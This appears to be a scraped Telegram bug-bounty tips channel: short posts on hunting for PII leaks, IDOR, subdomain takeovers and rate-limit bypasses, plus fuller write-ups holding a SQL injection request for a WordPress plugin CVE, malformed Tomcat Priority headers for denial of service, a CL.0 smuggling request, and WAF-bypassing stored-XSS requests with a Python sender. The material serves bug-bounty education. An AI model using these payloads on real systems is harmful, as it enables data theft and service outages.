Bug-bounty-tipsπŸžπŸ’°
4.28K subscribers
312 photos
10 videos
1 file
187 links
Sharing tips and Tools for bugbounty

For anyone who doesn't know me, please visit my X page @kassem_s94

Ranked #30 Globally in Web-App Assets Bug Bounty on HackerOne in 2024.

My Toolkit:
secret hunter
xoxo xss
dep_hunter
poisoner PRO
ssrf tool
aurora
Download Telegram
Bug🐞:An unauthenticated API endpoint exposes sensitive users data using email address
TipπŸ’β€β™‚οΈ:check .js file to find some urls for related services
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
πŸ‘6πŸ‘1
⚠️WebSocket PII Exposure⚠️
WebSockets can expose Personally Identifiable Information if not handled securely.

TipπŸ’β€β™‚οΈ: Always check the WS responses for PII

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
πŸ€”8πŸ‘2
I was awarded a $1,000 bounty on @Hacker0x01 πŸͺ…

TipπŸ’β€β™‚οΈ: Check for all smuggling types during your Tests.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
πŸ‘8🀷1
Bug🐞: POST REQUEST SQLI with full data dump

TipπŸ’β€β™‚οΈ: test for sqli on all authenticated POST requests parameters

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
πŸ”₯8πŸ€·β€β™‚2πŸ‘1
Bug🐞: PII LEAK
TipπŸ’β€β™‚οΈ: Always read the source of the pages and check every endpoint⚠️πŸͺ…

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
πŸ‘15❀2😁2πŸ”₯1
Bug-bounty-tipsπŸžπŸ’°
Bug🐞: PII LEAK TipπŸ’β€β™‚οΈ: Always read the source of the pages and check every endpoint⚠️πŸͺ… 🐞Join my Telegram channel for more tips🐞 t.me/kassems94 #bugbountytips #bugbounty #hacking #hackers #TogetherWeHitHarder
When access the same endpoint on the UI version i cant see any data , but using burp repeater I was able to access these informations, also this endpoint found at the source of the page🚨
πŸ‘12πŸ‘4⚑3
Bug🐞: PII LEAK on Unprotected Endpoint.
TipπŸ’β€β™‚οΈ: Always read the source of the pages and check every endpointπŸͺ…

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
❀8
πŸ”₯πŸ”₯AgainπŸ”₯πŸ”₯

Bug🐞: PII LEAK on Unprotected Endpoint.[3K records]
TipπŸ’β€β™‚οΈ: Always read the source of the pages and check every endpointπŸͺ…

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
❀11πŸ‘1
Bug🐞: IDOR lead to leak agent data and messages.
TipπŸ’β€β™‚οΈ: FUZZ 1st and second and 3rd /dir.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
πŸ”₯11πŸ‘2😍2❀1
CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.

Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:


---

PoC: Unauthenticated SQL Injection

Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456

HTTP Request PoC

POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+

Explanation:

The plugin registered an AJAX action qsm_get_questions accessible without authentication.

The question_id parameter is vulnerable to SQL injection.

The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).



---

References:

Patchstack Advisory

NVD - CVE-2021-24456

WPScan Advisory



---
πŸ”₯15πŸ‘5❀4πŸ‘3πŸ‘Ž1
Happy to join the 10K Reputation Points Club @Hacker0x01 πŸͺ…πŸŽ‰

I thank this great platform for the wonderful opportunities it offers usπŸ”₯🫑

🐞Join my Telegram channel for BB tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder
❀8πŸ‘4πŸ‘3⚑2
[CVE-2025-31650] Apache Tomcat DoS via Malformed HTTP Priority Headers

A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).

Affected Versions:

Tomcat 9.0.76 – 9.0.102

Tomcat 10.1.10 – 10.1.39

Tomcat 11.0.0-M2 – 11.0.5


Fixed in:

Tomcat 9.0.104

Tomcat 10.1.40

Tomcat 11.0.6


What’s the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.

Examples of malicious headers:

Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar

Impact:
No authentication needed β€” attackers can exhaust server memory remotely.

Mitigation:

Update to the latest version of Tomcat.

Use a reverse proxy to strip malformed Priority headers.

Set up rate limiting and monitor memory usage.


Details:

CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650

RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html

Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826


Stay safe, patch early!


---
πŸ‘9❀5
CL.0 HTTP Smuggling β†’ Limited DoS

1. What happens?
CL.0 smuggling exploits a mismatch where the front‑end honors Content-Length: 0 but the back‑end still reads any extra bytes sent afterward .


2. Exploit (PoC)

POST /upload HTTP/1.1
Host: target.com
Content-Length: 0

[100 KB of β€œA” padding here]
GET /healthcheck HTTP/1.1
Host: target.com

The front‑end closes the request immediately, while the back‑end queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .


3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .


4. Detection

Enable verbose reverse‑proxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .

Monitor backend queue lengths for unusual stalls after zero‑length frames .
πŸ‘13❀9
Is there an interest in learning Hardware Pentesting and IoT Security Basics? and if yes ,will you pay 10$ To get a course about that?
Anonymous Poll
20%
Yeah, I'm interested. I'll pay $10 for that course.
23%
No, I'm not interested in IOT pentest
57%
Yes, im interested but i will not pay 10$ to buy an IOT Course.
πŸ‘7
Bug🐞: access to users records using public airtable url.

TipπŸ’β€β™‚οΈ: check for airtable urls on every .js files and you may found the gold there.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
πŸ‘4πŸ”₯1πŸ‘1
πŸ”₯ Tips to Hunt Subdomain Takeovers πŸ”₯

1️⃣ Scan JavaScript Files
Look inside .js for hardcoded subdomains
πŸ” layout-*.js, app-*.js, etc.

2️⃣ Check DNS (CNAME)
Look for subdomains pointing to services like Vercel, Heroku, GitHub Pages
🧭 dig, host, nslookup

3️⃣ Visit & Inspect Errors
Subdomain shows "project not found"?
🚨 Could be vulnerable!

4️⃣ Try to Claim It
Deploy a project with the same name on the linked service
βš™οΈ Especially on platforms like vercel.app

5️⃣ Use Automation Tools
πŸ› οΈ subzy, tko-subs, nuclei

6️⃣ Explore Public Repos
Find .vercel, deployment configs, or exposed project names
πŸ“¦ GitHub is gold!
πŸ‘7❀1
Bug🐞:subdomain takeover

TipπŸ’β€β™‚οΈ: Look inside .js bundles for hardcoded subdomains and you may find the silver (its not gold lol😜) there also.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
πŸ‘8❀4πŸ”₯4
BountyπŸ’°:1000$
Bug🐞:Bypass the Rate-Limit on login page using '%00' [OLD BUT GOLDπŸͺ…].
TipπŸ’β€β™‚οΈ: Try using %00 after the email when testing for RL bugs, this will bypass the validation sometimes.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder
😁16πŸ”₯9❀4πŸ‘1
πŸ” Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting

When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them β€” using the Content-Encoding header.

πŸ’‘ Two Tricks:

1️⃣ Valid Compression (e.g. gzip, deflate)

Compress your payload.

Send it with Content-Encoding: gzip.

Many WAFs won't decompress it and will miss the XSS.


2️⃣ Fake or Random Content-Encoding

Use a random or incorrect value like Content-Encoding: xyz.

Some backends ignore unknown encodings and just process the request body normally.

Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding β€” leading to a bypass.


πŸ“Œ Example with gzip compression:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

[ gzip-compressed payload with: <script>alert(1)</script> ]

πŸ“Œ Example with fake encoding:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: x-nonsense
Content-Type: application/x-www-form-urlencoded

comment=<script>alert(1)</script>

🧠 Why it works:

WAFs might block based on the header alone or misinterpret it.

The backend may not enforce the declared encoding and just process the raw body.


πŸ› οΈ Python Example:

import requests

payload = 'comment=<script>alert(1)</script>'
headers = {
'Content-Encoding': 'x-xyz123', # Random/fake value
'Content-Type': 'application/x-www-form-urlencoded'
}

requests.post('https://target.com/submit-comment', data=payload, headers=headers)

⚠️ Notes:

Behavior varies between servers and WAFs.

Best used when stored content is later rendered in a browser (Stored XSS).

Always test on a case-by-case basis.


---

#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding
πŸ‘5πŸ”₯3❀2